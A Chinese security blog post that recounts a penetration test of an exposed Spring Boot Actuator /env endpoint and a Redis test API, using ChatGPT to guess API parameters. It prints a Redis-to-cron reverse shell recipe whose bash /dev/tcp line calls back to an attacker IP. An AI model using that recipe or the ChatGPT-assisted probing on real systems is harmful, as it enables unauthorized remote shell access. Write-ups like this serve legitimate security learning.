Part1 前言
大家好,我是ABC_123,公众号正式更名为”希潭实验室”。今天晚上喝了一大杯青岛的散装原浆啤酒,心情大好,回来之后,和老哥讨论了一个关于Springboot的Actuator信息泄露漏洞的利用,虽然最终没有拿下权限,还是有一些心得的,于是笔耕不辍,把这次真实的渗透测试案例记录下来,分享给大家。
平时我们在做渗透测试或者红队评估项目的时候,都会遇到SpringBoot的Actuator信息泄露漏洞,发现了/actuator/env接口,但是苦于没有/refresh接口、没有/heapdump文件、也没有/jolokia/list、也没有/httptrace端口等等,接下来可能就是无解,可能会选择放弃,但是/env里面会泄露很多api接口及其它的敏感信息,遇到api接口,我们可能会苦于不知道需要向该API接口提交哪些参数,或者该API接口还有哪些未知的功能实现,ABC_123今天想到了用chatGPT帮我们去猜测一下未知的API接口实现和提交的参数,取得了一定的效果!
建议大家把公众号“希潭实验室”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。
Part2 技术研究过程
/env接口发现操作redis相关的api
通过查看/actuator/env接口,发现了一处/api/public/test/redis/set": ["post":["tags":[Redis测试操作"]的信息泄露,接下来我的老哥师傅就想到了,有没有可能利用这个接口,实现对redis反弹shell的利用呢?这是一个好思路,但是/actuator/env接口只给出了/redis/set功能,并没有给出如何去设置key的值。那么我们首先要解决的一个问题就是它的设置key的接口是什么及提交的参数是什么,我们只能手工猜测了,这时候我们可以借助强大的chatGPT来帮我们猜一猜试一试。
接下来就是chatGPT的表现时刻了
首先ABC_123问了chatGPT如下这个问题,目标是测试一下chatGPT对这个api接口的理解程度,发现结果还是不错的,chatGPT完美的解释了这个接口的实现功能。
接下来查了一下笔记,发现redis反弹shell的利用语句大致如下:
redis-cli -h 192.168.237.135
set x "\n* * * * * bash -i >& /dev/tcp/192.168.237.133/53 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
Save
通过上述命令我们知道,如果想通过redis反弹shell拿权限的话,首先必须得有设置key值的功能。于是ABC_123又问了第2个问题,让chatGPT帮我们猜一下这个api接口的设置key值的功能可能的实现方法。
我发给老哥测试了一下,结果发现以POST请求提交chatGPT给出的数据包居然成功了!如下图所示:设置key的值之后,通过/redis/get?key=dir成功获取到了我们设置的key值,说明chatGPT给出的语句准确无误,不得不感叹chatGPT的强大。
到这里我突然发现,还缺少一个redis的save功能才能利用成功。
接下来我们让chatGPT帮我们猜测一下redis接口的save功能可能的实现方法,遗憾的是,并没有成功。
于是ABC_123又让chatGPT再给出几个其它的实现save功能的可能的接口实现方法。如下图所示,chatGPT又给了我们6个可能的接口实现。
后续比较遗憾的是,上述chatGPT给出的几个可能的带有save功能的接口都没有测试成功。
最后我们发现,该redis的操作接口可能根本就没有关于redis的save功能的实现,但是ABC_123感觉这个方法还是不错的,大家后续遇到/actuator/env接口或者其他的API接口不知道提交参数的情况下,不防让chatGPT帮忙猜测一下吧,ABC_123感觉后续肯定会有大用处的。
于是最后又让chatGPT努力了一把,ABC_123又问了这么一个问题:
可以看到chatGPT参考/test/redis/get?key=dir功能的,猜测了很多其它api接口功能的实现,我们可以挨个测试一遍,由此可见,chatGPT可以帮助我们节省很多脑力和体力。
Part3 总结
1. 虽然最后通过操作redis的api接口反弹shell没有成功,但是这个思路ABC_123感觉还是值得实践的,至少我们挖掘到了一个可用的高危漏洞,毕竟能获得设置、修改、删除redis数据库的权限也是致命的。
2. 在渗透测试或者红队评估项目中,看来还是得关注最新的技术,多动脑筋会有意想不到的收获。
3. chatGPT在我们网络安全日常工作中,还有很多其它的用处,后续文章ABC_123会专门总结分享给大家。
公众号专注于网络安全技术分享,包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等,每周一篇,99%原创,敬请关注。
Contact me: 0day123abc#gmail.com(replace # with @)